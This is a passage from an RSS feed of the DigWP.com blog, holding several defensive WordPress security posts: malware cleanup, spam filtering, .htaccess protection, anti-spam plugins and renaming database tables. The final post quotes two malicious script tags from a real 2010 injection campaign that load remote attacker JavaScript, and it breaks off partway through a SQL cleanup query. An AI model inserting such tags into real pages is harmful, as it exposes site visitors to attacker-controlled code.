<p>Disgusting stuff, and if you don&#8217;t see it at first, that doesn&#8217;t mean it&#8217;s not there. The scumbags who deal in this filth are clever enough to <strong>indent the code</strong> so it appears off-screen (via horizontal scrollbar). It&#8217;s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-03.gif" alt="[ screenshot of wrapped code ]" /></p>
<p>Notice it there in the last line.. it&#8217;s like that for all teh files. And again, if you don&#8217;t see anything then look for it off-screen. Once you find it, <strong>delete it</strong>. Then repeat for all index and footer files on your server. Once you&#8217;ve done that the &#8220;Cannot redeclare&#8221; hack should be gone, but you should take steps to prevent future attacks..</p>
<h3>Securing your WordPress site</h3>
<p>For public websites, <em>there is no such thing as perfect security</em>. There are many ways to <em>improve</em> security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it&#8217;s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.</p>
<p>Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on <a href="http://www.lynda.com/tutorial/78547">devloping secure WordPress sites</a>. Even more recently is Daniel Pataki&#8217;s Smashing WP article on <a href="http://wp.smashingmagazine.com/2011/11/10/securing-your-wordpress-website/">securing your WordPress website</a>. And if you want to hear it direct from the horse&#8217;s mouth, check out the good &#8216;ol fashioned WP Codex for info on <a href="http://codex.wordpress.org/Hardening_WordPress">hardening WordPress</a>.</p>
<h3>More help..</h3>
<p>There&#8217;s currently not a lot of info on the &#8220;Cannot redeclare&#8221; hack, but this <a href="http://wordpress.org/support/topic/fatal-error-cannot-redeclare-_765258526">WP Forum thread</a> provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/">Permalink</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments">16 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/&title=Clean Up &#8220;Cannot redeclare&#8221; Hack">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>That&#8217;s Not Spam: False Positives and Ham</title>
		<link>http://digwp.com/2011/10/ham-hunter/</link>
		<comments>http://digwp.com/2011/10/ham-hunter/#comments</comments>
		<pubDate>Thu, 13 Oct 2011 17:14:23 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5349</guid>
		<description><![CDATA[Everyone loves a good comment. Readers benefit from the shared information and authors appreciate the conversation and feedback. But you gotta keep the spam out. Akismet and other anti-spam plugins do an excellent job of automating the process, but it&#8217;s a good idea to watch out for false positives: legitimate comments marked as spam. Rescuing [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone loves a good comment. Readers benefit from the shared information and authors appreciate the conversation and feedback. But <strong>you gotta keep the spam out</strong>. Akismet and other anti-spam plugins do an excellent job of automating the process, but it&#8217;s a good idea to <strong>watch out for false positives</strong>: legitimate comments marked as spam. Rescuing ham comments from the spam pile <em>promotes healthy comment threads</em> and improves the <em>quality and reputation</em> of your site. In this <abbr title="Digging into WordPress">DiW</abbr> post, we explain how WordPress &amp; Akismet deal with spam, discuss anti-spam strategy, and share some ham-saving tips and tricks.</p>
<p><span id="more-5349"></span></p>
<h3>Know thy comments</h3>
<p>In WordPress, there are three types of responses: comments, pingbacks, and trackbacks. The <strong>status</strong> of any given response is either:</p>
<ul>
<li><strong>approved</strong> &ndash; appearing on your site</li>
<li><strong>spammed</strong> &ndash; flagged as spam</li>
<li><strong>moderated</strong> &ndash; on hold for review</li>
<li><strong>in the trash</strong> &ndash; marked for deletion</li>
</ul>
<p>Theoretically, you&#8217;re going to know about <em>approved</em> comments that appear on your site. Likewise, you&#8217;ll have a chance to review any <em>moderated</em> comments, and nothing makes it to the <em>trash</em> by accident, so you know about those as well. What you don&#8217;t always know about are <em>spam</em> comments flagged as such by a plugin. Some of these are going to be ham, and they can be tricky to spot, especially as the number of spam comments begins to climb.</p>
<h3>Out of the box</h3>
<p>Out of the box, WordPress doesn&#8217;t flag any response as spam, <em>unless</em> you add some phrases to the built-in <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/" title="Stop Spammers and Other Scumbags with a Custom Blacklist">comment blacklist</a>. Then, any comments matching any phrases in your blacklist are sent to the spam pile. So the key to preventing <em>blacklist ham</em> (<em>mmmm</em>..) is being absolutely sure that you want <em>nothing to do</em> with any comments mentioning &#8220;baby uggs&#8221; or who knows what.</p>
<h3>Akismet &amp; ham stats</h3>
<p>It&#8217;s easy to <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don't Need Any Plugins to Stop Comment Spam">stop spam without plugins</a>, but activate Akismet and suddenly you&#8217;ve got greater accuracy, better automation, and some <strong>incredible-looking statistics</strong>. Here are Akismet stats for <strong>false positives</strong> during the last few months here at <a href="http://digwp.com/">DigWP.com</a>:</p>
<p><img src="http://digwp.com/wp-content/blog-images/ham-rescue-01.gif" alt="[ Akismet false positives ]" /></p>
<p>That&#8217;s good news, but don&#8217;t be fooled &ndash; the number of false positives also depends on you, the user. Seeing few false positives is good news if you&#8217;re actively looking for them, otherwise <em>who knows</em> how many ham comments have slipped through. We check for false positives fairly regularly, so the low numbers are great, as is the decreasing number of spam comments:</p>
<p><img src="http://digwp.com/wp-content/blog-images/ham-rescue-02.gif" alt="[ WP Spam Statistics ]" /></p>
<p>This is also a good sign, but it&#8217;s still smart to keep an eye on things and rescue as much ham as possible. Back in the day, I really got into analyzing teh spam &ndash; digging through the spam bin, looking for patterns, checking sources, and rescuing ham comments from the abyss. It&#8217;s fun if you have the time, but these days it&#8217;s better to just <em>get it done</em>..</p>
<h3>Ham-rescue tips</h3>
<p>Now that we&#8217;ve seen how it works, here are some clues for cleaving through large slabs of spam quickly and effectively..</p>
<ul>
<li><strong>Comment text</strong> &ndash; legit comments tend to <em>look</em> real and stand out among the junk</li>
<li><strong>Gravatars</strong> &ndash; usually a good signal of quality, but spammers can haz gravatars too</li>
<li><strong>Link text</strong> &ndash; stupid link text is a <em>huge</em> giveaway, like &#8220;Baby Ugg Boots&#8221; or whatever</li>
<li><strong>Site URL</strong> &ndash; anything more than a domain or first-level subdirectory is probably spam</li>
<li><strong>Excessive links</strong> &ndash; legitimate comments rarely contain more than one or two links</li>
</ul>
<p>Here&#8217;s a screenshot illustrating some of these aspects of spam. Of course, there are plenty more examples waiting for you in Ye Olde Spam Bin!</p>
<p><img class="tweak-post-image" src="http://digwp.com/wp-content/blog-images/ham-rescue-03.gif" alt="[ Random spam comments ]" /><br /><small>Gravatars really stand out, but aren&#8217;t always the ham you&#8217;re looking for</small></p>
<p>Those are the big giveaways, but it&#8217;s generally easier/quicker to scan for <em>ham</em> than spam. That is, rather than looking for evidence of spam, scan for signs of <em>legitimacy</em> and <em>quality</em>. So a good example would be scanning for gravatars &ndash; you&#8217;re not trying to find the grey mystery man icon, you&#8217;re looking for something original, like the flag icon in the previous screenshot. With some repetition, the visual clues sort of gel together and the ham just sort of jumps out at you as sift through the pile.</p>
<h3>Wrapping it up..</h3>
<p>So what did we learn? Spam is the bad stuff, ham is the good stuff. WordPress doesn&#8217;t flag anything as spam by itself unless you add phrases to the comment blacklist. Add a great anti-spam plugin such as Akismet to the mix, and you&#8217;ve made your life easier by automating the process. But if you care about your readers and their feedback, you should periodically scan through your spam comments and rescue any false positives. With some repetition, checking your spam and saving ham comments takes only a few minutes, improves the quality of your site, and keeps commentators happy and ready for more.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/10/ham-hunter/">Permalink</a> | <a href="http://digwp.com/2011/10/ham-hunter/#comments">5 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/10/ham-hunter/&title=That&#8217;s Not Spam: False Positives and Ham">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/10/ham-hunter/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Secure uploads, upgrade and other directories with .htaccess</title>
		<link>http://digwp.com/2011/06/secure-upload-upgrade-directories/</link>
		<comments>http://digwp.com/2011/06/secure-upload-upgrade-directories/#comments</comments>
		<pubDate>Fri, 17 Jun 2011 00:20:53 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=4519</guid>
		<description><![CDATA[It sucks, but a lot of plugins require certain directories to be set at CHMOD 777 for its file permissions. Of course, you should not use any plugin that requires 777 directories, but if you absolutely must, you can help protect the folder by adding a thin slice of htaccess. This works great for any [...]]]></description>
			<content:encoded><![CDATA[<p>It sucks, but a lot of plugins require certain directories to be set at CHMOD 777 for its file permissions. Of course, you should not use any plugin that requires 777 directories, but if you absolutely must, you can help protect the folder by adding a thin slice of htaccess. This works great for any directory requiring &#8220;loose-ish&#8221; permissions (i.e., anything greater than 755), and may also be useful for other key folders as well.</p>
<p><span id="more-4519"></span></p>
<p>They key here is that only <em>you and the server</em> need access to the folder that you want to protect, so for example, stuff like:</p>
<ul>
<li>uploads</li>
<li>upgrade</li>
<li>backups</li>
<li>cache-123</li>
<li>temp-123</li>
<li>etc..</li>
</ul>
<p>Anything that regular users aren&#8217;t going to need to access. Then, you&#8217;ll also need the IP address of your server and your own machine. Once you have that information, use it to edit the following code:</p>
<pre><code>Order Deny,Allow
Deny from all
Allow from 123.456.789.0
Allow from 0.123.456.789</code></pre>
<p>You can emulate the &#8220;Allow from&#8221; lines to allow more IP addresses. Like maybe you&#8217;ve got a remote office or something. Once the code is ready, just copy and paste into an htaccess file located in the directory you would like to protect. Fix it and forget it, as they say..</p>
<p>I use this code on several sites and it works great. Only takes a minute to setup, and greatly improves the security of otherwise potentially vulnerable directories.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/06/secure-upload-upgrade-directories/">Permalink</a> | <a href="http://digwp.com/2011/06/secure-upload-upgrade-directories/#comments">18 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/06/secure-upload-upgrade-directories/&title=Secure uploads, upgrade and other directories with .htaccess">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/htaccess-2/" rel="tag">htaccess</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/06/secure-upload-upgrade-directories/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>15 Anti-Spam Plugins for WordPress</title>
		<link>http://digwp.com/2011/04/anti-spam-plugins/</link>
		<comments>http://digwp.com/2011/04/anti-spam-plugins/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 18:43:01 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=4018</guid>
		<description><![CDATA[During the recent book update, we needed to make some room for the new WordPress-3.1 content. The book is already over 400 pages and growing. So we have to make some hard decisions about which content is useful but maybe not needed in the book. And, as useful as long lists of anti-spam plugins might [...]]]></description>
			<content:encoded><![CDATA[<p>During the <a href="http://digwp.com/2011/04/version-3-1/" title="Digging into WordPress 3.1 Update">recent book update</a>, we needed to make some room for the new WordPress-3.1 content. <a href="http://digwp.com/" title="Digging into WordPress">The book</a> is already over <em>400 pages</em> and growing. So we have to make some hard decisions about which content is useful but maybe not <em>needed</em> in the book. And, as useful as long lists of anti-spam plugins might be, moving them from the book to the blog seems like a good way to free up some room while keeping the information available. So without further ado, here is a quick list of <strong>15 anti-spam plugins</strong> to help you run a more user-friendly, hassle-free comment system.</p>
<p><span id="more-4018"></span></p>
<dl>
<dt><a href="http://digwp.com/u/95">Akismet</a></dt>
<dd>The <strong>best</strong> anti-spam plugin for WordPress. Bundled with WordPress, Akismet requires a registration key, but is easy to setup and provides excellent &#8220;set-it-and-forget-it&#8221; spam protection for WordPress.</dd>
<dt><a href="http://digwp.com/u/98">bcSpamBlock</a></dt>
<dd>JavaScript-based anti-spam plugin that uses JavaScript to filter out spam quietly and discretely. Users without JavaScript must prove their legitimacy via copy-&amp;-paste CAPTCHA exercise.</dd>
<dt><a href="http://digwp.com/u/563">Comment Spam Stopper</a></dt>
<dd>Blue Anvil&#8217;s anti-spam plugin is CAPTCHA-based and includes JavaScript validation to ensure that required fields in the comment form have been populated with data. To save time, the CAPTCHA field is not displayed when logged into Admin.</dd>
<dt><a href="http://digwp.com/u/108">Comment Spam Trap</a></dt>
<dd>Delivers a double death blow by adding a hidden spam field <em>and</em> an identical but <em>required</em> CAPTCHA field. This simple logic tricks mortal spam bots into revealing themselves and getting blocked. Also blocks trackback spam and optionally sends email notifications of anything it blocks.</dd>
<dt><a href="http://digwp.com/u/110">Cookies for Comments</a></dt>
<dd>Takes a different approach by adding a randomly generated stylesheet <abbr title="Uniform Resource Locator">URL</abbr> to your theme. When that URL is requested by the browser, a cookie is set that is required for the visitor/user to leave a comment. The plugin homepage is kinda thin, so scan the <a href="http://wordpress.org/tags/cookies-for-comments">WordPress Forum</a> to gain more insight about this remarkable plugin.</dd>
<dt><a href="http://digwp.com/u/107">Did You Pass Math?</a></dt>
<dd>Requires the user to solve a simple math problem, like &#8220;what&#8217;s 1+2?&#8221; If they can&#8217;t do it, they&#8217;re considered a bot and the comment is blocked. Simple yet effective anti-spam plugin with nothing to configure &ndash; just set and forget.</dd>
<dt><a href="http://digwp.com/u/197">JSSpamBlock</a></dt>
<dd>Uses JavaScript to filter out spam bots and their filthy comments. Legitimate users prove their identity by entering a given number. Provides fallback for non-JavaScript visitors.</dd>
<dt><a href="http://digwp.com/u/97">Peter&#8217;s Custom Anti-Spam</a></dt>
<dd>A <em>full-featured</em> CAPTCHA-based anti-spam plugin for WordPress. Requires all commentators to identify a random word before comment submission. Words are displayed as images and are completely customizable. Features: random font display, no cookies required, no JavaScript required, auto-generated audio for visually impaired users, selective blocking of trackbacks and pingbacks, and much more. First choice for full-flavored CAPTCHA plugin.</dd>
<dt><a href="http://digwp.com/u/99">reCAPTCHA Plugin</a></dt>
<dd>Displays words from old books that users must correctly interpret. Uses the popular reCAPTCHA service that is used on popular sites such as Twitter, Facebook, and StumbleUpon. Upside: use of this service helps to digitize old books. Downside: requires a key to work.</dd>
<dt><a href="http://digwp.com/u/105">Referrer Bouncer</a></dt>
<dd>Referrer Bouncer provides powerful protection against referrer spam. Easy to use and requires no configuration. As it says, &#8220;It is like the strong silent bouncer at your favorite club.&#8221; The instant cure for the referrer spam that ails you.</dd>
<dt><a href="http://digwp.com/u/104">Simple Trackback Validation</a></dt>
<dd>Solid protection against trackback spam. Trackback validation is done with an IP/referrer check and by checking the trackback page for your URL. Bottom line: an excellent solution for stopping trackback spam. Includes Settings Page for easy configuration, including the option to delete or spam blocked trackbacks.</dd>
<dt><a href="http://digwp.com/u/109">Spam Free</a></dt>
<dd>Spam Free is an &#8220;extremely powerful anti-spam plugin for WordPress that eliminates comment spam, including trackback and pingback spam.&#8221; Spam Free has many features, including no CAPTCHA required for site visitors, a spam-free contact form, and dashboard counter with blocked spam count.</dd>
<dt><a href="http://digwp.com/u/103">Word Verify</a></dt>
<dd>CAPTCHA-based anti-spam plugin that requires the user to enter a simple word in plain text (rather than an image). This makes it much easier for users to get it right the first time, while filtering out lots of automated spam. This plugin is probably best for smaller sites and blogs, as they aren&#8217;t generally targeted by the heavier OCR-capable spambots. Or so the thinking goes. Includes Settings Page for basic configuration.</dd>
<dt><a href="http://digwp.com/u/102">WP-HashCash</a></dt>
<dd>CAPTCHA-based anti-spam plugin that claims to be 100% effective at blocking all spam and no real comments. Also blocks <em>most</em> pingback &amp; trackback spam. Features Settings Page for statistics and configuration. And a huge bonus, WP-HashCash is &#8220;100% standards compliant XHTML 1.1 and works with both jQuery and Prototype.&#8221;</dd>
</dl>
<p>Note that the book now contains an abbreviated version of this list, along with sidebar mentions of some of the other plugins sprinkled throughout the various chapters. Going through this list again for the post, it was great seeing the wide variety of sites and personalities involved in keeping WordPress spam-free. If you know of any good anti-spam plugins that we missed, feel free to share them in the comments.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/04/anti-spam-plugins/">Permalink</a> | <a href="http://digwp.com/2011/04/anti-spam-plugins/#comments">20 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/04/anti-spam-plugins/&title=15 Anti-Spam Plugins for WordPress">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/04/anti-spam-plugins/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Change Your Database Prefix to Improve Security</title>
		<link>http://digwp.com/2010/10/change-database-prefix/</link>
		<comments>http://digwp.com/2010/10/change-database-prefix/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 17:06:53 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[config]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=3021</guid>
		<description><![CDATA[One of the awesome things about WordPress is that it&#8217;s a dynamic publishing system that uses a database to store your site&#8217;s information: posts, options, plugin and theme settings &#8211; all of this data is stored in your site&#8217;s database. It&#8217;s like the brain of your WordPress installation. Unfortunately the WordPress database is also a [...]]]></description>
			<content:encoded><![CDATA[<p>One of the awesome things about WordPress is that it&rsquo;s a <em>dynamic</em> publishing system that uses a <strong>database</strong> to store your site&rsquo;s information: posts, options, plugin and theme settings &ndash; all of this data is stored in your site&rsquo;s database. It&rsquo;s like the <em>brain</em> of your WordPress installation. Unfortunately the WordPress database is also a prime target in many website attacks. Spammers and other bad guys target various database tables with <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/" title="Media Temple WordPress Hack">automated scripts</a>, <a href="http://digwp.com/2009/06/spam-link-injection-hacked/" title="Spam Link Injection Hacked (and How I Hopefully Fixed It)"><abbr title="Structured Query Language">SQL</abbr> injection</a>, and other <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/" title="Media Temple, WordPress, Mass Hacking">malicious code</a>. Needless to say it&rsquo;s <em>critical</em> to protect your database and keep recent backups. One of the smartest ways to protect your site&rsquo;s database is to <strong>change the default table prefix</strong> to something obscure and difficult to guess. Sort of like a password.</p>
<p><span id="more-3021"></span></p>
<p>By default, during installation, WordPress creates the database with all of the tables prefixed with &ldquo;<code>wp_</code>&rdquo;. There are 11 tables created in the default installation procedure, and all of them will prefixed with <code>wp_</code>:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-db-prefix-default.gif" alt="[ WordPress Default Table Names ]" /></p>
<p>Install WordPress out-of-the-box and that&rsquo;s what you&rsquo;re going to get. And would-be attackers understand this perfectly. Automated scripts that target the WordPress database aim for these default table names during their attacks. I think it&rsquo;s fair to assume that a <em>vast majority</em> of WordPress databases are using the default <code>wp_</code> prefix. This is bad because it makes attacking WordPress sites <em>easier</em> for the bad guys.</p>
<p>Fortunately you can <a href="http://digwp.com/2010/07/wordpress-security-lockdown/" title="WordPress Security Lockdown">improve your site&rsquo;s security</a> by <strong>changing the default table prefix</strong> to something completely random and unique. There are two ways to change your database prefix: the <em>easy way</em> and the <em>hard way</em>. Which you use will depend on <em>if</em> you&rsquo;ve already installed your WordPress site or not..</p>
<h3>Changing default table prefix <em>before</em> installing WordPress</h3>
<p>First let&rsquo;s look at the <strong>easy way</strong>. Before installing WordPress, while configuring the <a href="http://digwp.com/2010/08/pimp-your-wp-config-php/" title="Pimp your wp-config.php">wp-config.php</a> <a href="http://digwp.com/2009/06/wordpress-configuration-tricks/" title="WordPress Configuration Tricks">configuration file</a> with your database credentials, scroll down the file a bit until you see this:</p>
<pre><code>/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';
</code></pre>
<p>Just replace the &ldquo;<code>wp_</code>&rdquo; with a string of random, unique characters and you&rsquo;re all set: continue with the installation as normal and your database prefix will have been changed to something more secure. Here&rsquo;s an example of a strong database prefix generated at <a href="https://www.random.org/passwords/" title="Random Password Generator">Random.org</a>:</p>
<p><code>wp_VzQCxSJv7uL_</code></p>
<p>Notice two things that will help keep your database nice and organized:</p>
<ol>
<li>begin the prefix with &ldquo;<code>wp_</code>&rdquo; so the tables appear in order among other tables</li>
<li>end the prefix with an underscore (&ldquo;<code>_</code>&rdquo;) so the actual table names (e.g., <code>posts</code>, <code>users</code>, <code>meta</code>) stand out and are easily recognizable.</li>
</ol>
<p>But really you can use whatever prefix you want &ndash; the take-home message here is that you <em>should obscure your tables&rsquo; prefix</em> and it&rsquo;s <em>easiest to do before installing WordPress</em>.</p>
<p>But wait! I&rsquo;ve already installed WordPress and have been using it for all sorts of stuff.. is it still possible to change my prefix? Absolutely there is, but it takes quite a bit more time to get it done.</p>
<h3>Changing default table prefix <em>after</em> installing WordPress</h3>
<p>If you&rsquo;ve already installed WordPress and want to change your database prefix, you&rsquo;re stuck with the <strong>hard way</strong>. But it&rsquo;s really not that hard, just hard compared to changing a single line in your <code>wp-config.php</code> (as shown above). To change your prefix <em>after</em> installing, set aside around ten minutes and follow these steps:</p>
<h4>Step 1: Preparations</h4>
<p>Before changing your table prefix, make sure you have a recent backup and about 10 minutes of downtime for your site. It may be a good idea to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a temporary maintenance page</a>.</p>
<h4>Step 2: Change table prefix</h4>
<p>Change your database table prefix in <code>wp-config.php</code> from <code>wp_</code> to something more secure, like <code>wp_VzQCxSJv7uL_</code> or something.</p>
<h4>Step 3: Change all WordPress database tables</h4>
<p>Go to your database (using phpMyAdmin or whatever) and rename all WordPress table prefixes from <code>wp_</code> to whatever you specified in your <code>wp-config.php</code> file. Here are <abbr title="Structured Query Language">SQL</abbr> commands to rename the 11 default WordPress tables:</p>
<pre><code>RENAME table `wp_commentmeta` TO `wp_VzQCxSJv7uL_commentmeta`;
RENAME table `wp_comments` TO `wp_VzQCxSJv7uL_comments`;
RENAME table `wp_links` TO `wp_VzQCxSJv7uL_links`;
RENAME table `wp_options` TO `wp_VzQCxSJv7uL_options`;
RENAME table `wp_postmeta` TO `wp_VzQCxSJv7uL_postmeta`;
RENAME table `wp_posts` TO `wp_VzQCxSJv7uL_posts`;
RENAME table `wp_terms` TO `wp_VzQCxSJv7uL_terms`;
RENAME table `wp_term_relationships` TO `wp_VzQCxSJv7uL_term_relationships`;
RENAME table `wp_term_taxonomy` TO `wp_VzQCxSJv7uL_term_taxonomy`;
RENAME table `wp_usermeta` TO `wp_VzQCxSJv7uL_usermeta`;
RENAME table `wp_users` TO `wp_VzQCxSJv7uL_users`;</code></pre>
<p>If there are other WordPress-related tables from plugins or whatever, just rename them too. The goal here is to rename <em>all</em> of the tables that begin with the default prefix. If you&rsquo;re using something like phpMyAdmin to interface with your database, you can execute multiple commands at the same time, so edit the above code with your table prefix, paste it into the <abbr title="Structured Query Language">SQL</abbr> field, and WHAM! &ndash; all tables changed in the blink of an eye.</p>
<h4>Step 4: Edit the WordPress options table</h4>
<p>Now search the <code>options</code> table for any instances of the old prefix. To do this, enter the following <abbr title="Structured Query Language">SQL</abbr> query:</p>
<pre><code>SELECT * FROM `wp_VzQCxSJv7uL_options` WHERE `option_name` LIKE '%wp_%'</code></pre>
<p>That search will return the <code>wp_user_roles</code> option along with any other options created by plugins, custom scripts, etc. The goal here is to rename any options that begin with <code>wp_</code> to the new prefix.</p>
<h4>Step 5: Edit the usermeta table</h4>
<p>Now search the <code>usermeta</code> for all instances of the old <code>wp_</code> prefix. Here is an <abbr title="Structured Query Language">SQL</abbr> command to accomplish this:</p>
<pre><code>SELECT * FROM `wp_VzQCxSJv7uL_usermeta` WHERE `meta_key` LIKE '%wp_%'</code></pre>
<p>Executing that query on a recently installed WordPress database, the following <code>usermeta</code> fields were returned:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-db-prefix-usermeta.gif" alt="[ Search Results for WP usermeta table ]" /></p>
<p>The number of fields that you need to rename may vary depending on plugins and other factors, but as before, just remember to rename <em>any</em> entry that begins with the default WordPress table prefix, <code>wp_</code>.</p>
<h4>Final Step: Test, backup, and done!</h4>
<p>Ideally at this point, <em>all</em> instances of the old table prefix (<code>wp_</code>) have been replaced with the new (<code>wp_VzQCxSJv7uL_</code> in our example). Once this is done, go check your site for proper functionality. Test the Admin, pages, posts, search, and everything else you can think of (or have time for). If your site seems to be working as before, chances are good that the surgery was a success. Now make another database backup for good measure.</p>
<h3>Wrap Up</h3>
<p>Securing WordPress involves securing your database. The default table prefix is well-known and targeted by nefarious scumbags across the Web. Changing your prefix to something obscure and difficult to guess is an easy way to stop automated attacks, malicious scripts, and other evilness from compromising your precious database. And remember &ndash; always, always, always keep recent backups. If something goes awry with your database, the easiest way to restore sanity is to upload a recent backup and call it done.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/10/change-database-prefix/">Permalink</a> | <a href="http://digwp.com/2010/10/change-database-prefix/#comments">29 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/10/change-database-prefix/&title=Change Your Database Prefix to Improve Security">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/config/" rel="tag">config</a>, <a href="http://digwp.com/tag/database/" rel="tag">database</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/10/change-database-prefix/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Media Temple WordPress Hack</title>
		<link>http://digwp.com/2010/07/media-temple-wordpress-hack/</link>
		<comments>http://digwp.com/2010/07/media-temple-wordpress-hack/#comments</comments>
		<pubDate>Sat, 17 Jul 2010 15:38:15 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mt]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2547</guid>
		<description><![CDATA[It looks like Media Temple WordPress installs have been hit with a WordPress Redirect Exploit. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far: Visitors viewing&#160;posts on your blog may be redirected to a third-party [...]]]></description>
			<content:encoded><![CDATA[<p>It looks like Media Temple WordPress installs have been hit with a <a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1404-wordpress-redirect-exploit/" title="MT System Status Report">WordPress Redirect Exploit</a>. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far:</p>
<ul>
<li>Visitors viewing&nbsp;posts on your blog may be redirected to a third-party site.&nbsp; This may&nbsp;be a site already blocked by Google.</li>
<li>Visitors may&nbsp; also be forwarded to the domain googlesearch.com, which has already been&nbsp;disabled.</li>
</ul>
<p>They provide <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit" title="WordPress Redirect Exploit">steps for clearing things up</a>, but it doesn&#8217;t look like the entry-point or source of this hack is known at this point.</p>
<p><span id="more-2547"></span></p>
<p>The hack injects a short JavaScript string into your database at the end of each your post&rsquo;s content. There are (so far) two known variations of the inserted garbage:</p>
<ul>
<li><code>&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;</code></li>
<li><code>&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;</code></li>
</ul>
<p>To clean this up asap, backup your database and run the following <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/" title="Remove/Replace Content from the WordPress Database">SQL queries</a>:</p>
<pre><code>UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;', '');

